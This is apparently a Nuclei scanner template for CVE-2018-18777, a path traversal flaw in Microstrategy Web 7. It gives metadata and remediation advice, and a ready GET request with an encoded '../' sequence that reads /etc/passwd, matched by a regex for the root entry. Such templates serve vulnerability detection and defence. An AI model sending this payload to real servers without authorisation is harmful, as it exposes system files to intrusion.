id: CVE-2018-18777

info:
  name: Microstrategy Web 7 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: |
    Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Microstrategy Web.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18777
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-18777
    cwe-id: CWE-22
    epss-score: 0.69525
    epss-percentile: 0.98673
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve,cve2018,traversal,edb,packetstorm,microstrategy,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c2e015996a2b9f029015bd5319171d06e73f5a30300a465e609ff8b0500b95e0022100d09d84548295828788dfd43327394e4023cf9c215c9edecaf3d2f1c608ea7508:922c64590222798bb761d5b6d8e72950